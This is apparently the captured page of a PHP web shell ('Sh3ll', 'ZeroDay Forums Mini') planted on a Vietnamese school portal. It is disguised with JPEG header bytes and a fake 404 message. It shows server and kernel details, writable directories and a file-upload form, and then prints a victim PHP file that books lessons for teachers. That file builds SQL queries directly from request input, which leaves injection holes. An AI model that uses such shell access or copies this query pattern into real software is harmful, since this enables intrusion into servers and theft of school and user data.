����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/api-truyentranh/includes/post/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/api-truyentranh/includes/post/post_booktable.php
<?php
global $INFO,$CORE,$DB;
$user_key = $CORE->input['user_key']??'';
if(empty($user_key)){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'user_key không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$r_user = $DB->fetch_row($DB->query("SELECT * FROM TB_USER WHERE USER_KEY='$user_key'"));
if(!$r_user) {
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'user_key không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$user_id = $r_user['USER_ID'];
$r_teacher = $DB->fetch_row($DB->query("SELECT * FROM TB_TEACHER WHERE USER_ID='$user_id'"));
$v_teacher_id = $TEACHER_ID = $r_teacher['TEACHER_ID'];
$v_school_id = $r_teacher['SCHOOL_ID'];
$arr_res['user_id'] = $user_id;
$arr_res['teacher_id'] = $r_teacher['TEACHER_ID'];
$arr_res['teacher_fullname'] = showutf($r_teacher['TEACHER_REAL_NAME']);

$ten_bai = trim($CORE->input['name_lesson']);
$link_bai = trim($CORE->input['link_lesson']);
if($ten_bai==''){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'name_lesson yêu cầu';
    echo jsonutf($arr_res);
    exit();
}
if(!check_date_input($CORE->input['from_lesson_date'])){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'from_lesson_date dạng dd-mm-yyyy';
    echo jsonutf($arr_res);
    exit();
}
if(!check_date_input($CORE->input['to_lesson_date'])){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'to_lesson_date dạng dd-mm-yyyy';
    echo jsonutf($arr_res);
    exit();
}
$from_bai = date('Y-m-d',strtotime($CORE->input['from_lesson_date']));
$to_bai = date('Y-m-d',strtotime($CORE->input['to_lesson_date']));
$arr_tiet_num = $CORE->input['txt_timetable_data'];
if(empty($arr_tiet_num)){
    $arr_res['status'] = 'Error';
    $arr_res['status_note'] = 'txt_timetable_data không tìm thấy';
    echo jsonutf($arr_res);
    exit();
}
$arr_allow_file_type = array("jpg","jpeg","gif","mid","mp3","mp4","png","tif","doc","docx","rar","zip","pdf","rtf","txt","xls","xlsx","pptx","ppt");
$file_bai = '';
$v_file_name = $file_type = '';
$file_size = 0;
if(isset($_FILES['file_lesson']) && $_FILES["file_lesson"]["name"]!=''){
    $file = $_FILES['file_lesson'];
    $folder = 'bao_bai';

    $link_img_upload = safeupload($file,$folder);
    if(!is_numeric($link_img_upload)){
        //$link_img = $INFO['app_url'].'/'.$link_img_upload;
        $link_img = $link_img_upload;

    }else{
        switch($link_img_upload){
            case 1:
                $arr_res['status'] = 'Error';
                $arr_res['status_note'] = 'file_lesson cần nhỏ hơn 10MB';
                echo jsonutf($arr_res);
                exit();
                break;
            case 2:
                $arr_res['status'] = 'Error';
                $arr_res['status_note'] = 'file_lesson không đúng định dạng';
                echo jsonutf($arr_res);
                exit();
                break;
            case 3:
                $arr_res['status'] = 'Error';
                $arr_res['status_note'] = 'Máy chủ đầy dung lượng, không thể upload';
                echo jsonutf($arr_res);
                exit();
                break;
            default:
                $arr_res['status'] = 'Error';
                $arr_res['status_note'] = 'Lỗi cmod thư mục máy chủ';
                echo jsonutf($arr_res);
                exit();
                break;
        }
    }
    $file_type = $_FILES["file_lesson"]["type"];
    $file_size = $_FILES["file_lesson"]["size"];
    $v_file_name = $_FILES["file_lesson"]["name"];
    $file_bai = $link_img;
}
foreach ($arr_tiet_num as $val){
    $arr_tiet = explode('@',$val);
    $WEEK_DAY = $arr_tiet[0];
    $subject_id = $arr_tiet[1];
    $class_id = $arr_tiet[2];
    $tiet_num = $arr_tiet[3];
    $row_check = $DB->fetch_row($DB->query("SELECT * FROM TB_BAI_GIANG WHERE TEACHER_ID='$v_teacher_id' AND SUBJECT_ID='$subject_id' AND CLASS_ID='$class_id' AND TIET_NUM='$tiet_num' AND SCHOOL_ID='$v_school_id' AND from_bai='$from_bai' AND to_bai='$to_bai' AND WEEK_DAY='$WEEK_DAY' "));
    if(!$row_check){
        $arr_insert = array('ten_bai'=>textformatdb($ten_bai),'file_bai'=>$file_bai,'link_bai'=>$link_bai,'from_bai'=>$from_bai,'to_bai'=>$to_bai,'TEACHER_ID'=>$v_teacher_id,'SUBJECT_ID'=>$subject_id,'CLASS_ID'=>$class_id,'TIET_NUM'=>$tiet_num,'time_post'=>date('Y-m-d h:i:s'),'SCHOOL_BRAND'=>'','SCHOOL_ID'=>$v_school_id,'WEEK_DAY'=>$WEEK_DAY,'file_name'=>$v_file_name,'file_type'=>$file_type,'file_size'=>$file_size,'count_download'=>0);
        $insert_id = $DB->do_insert('TB_BAI_GIANG',$arr_insert);
        $insert['status_insert'] = 'Success';
        $insert['status_insert_note'] = '';
        $insert['lesson_id'] = $insert_id;
        $insert['name_lesson'] = $ten_bai;

        $insert['link_lesson'] = $link_bai;
        $insert['from_lesson_date'] = $CORE->input['from_lesson_date'];
        $insert['to_lesson_date'] = $CORE->input['to_lesson_date'];
        $insert['teacher_id'] = $v_teacher_id;
        $insert['subject_id'] = $subject_id;
        $insert['class_id'] = $class_id;
        $insert['tiet_num'] = $tiet_num;
        $insert['week_day'] = $WEEK_DAY;
        $insert['school_id'] = $v_school_id;
        if(!empty($file_bai)) {
            $link_img_download = 'https://iportal.nhg.vn/?a=BAI_GIANG&code=download&id=' . $insert_id;
            $insert['file_lesson'] = $link_img_download;
        }
    }else{
        $insert['status_insert'] = 'Error';
        $insert['status_insert_note'] = 'Lỗi cập nhật dữ liệu';
    }
    $list[] = $insert;
}
$arr_res['data_insert'] = $list;
echo jsonutf($arr_res);
?>

ZeroDay Forums Mini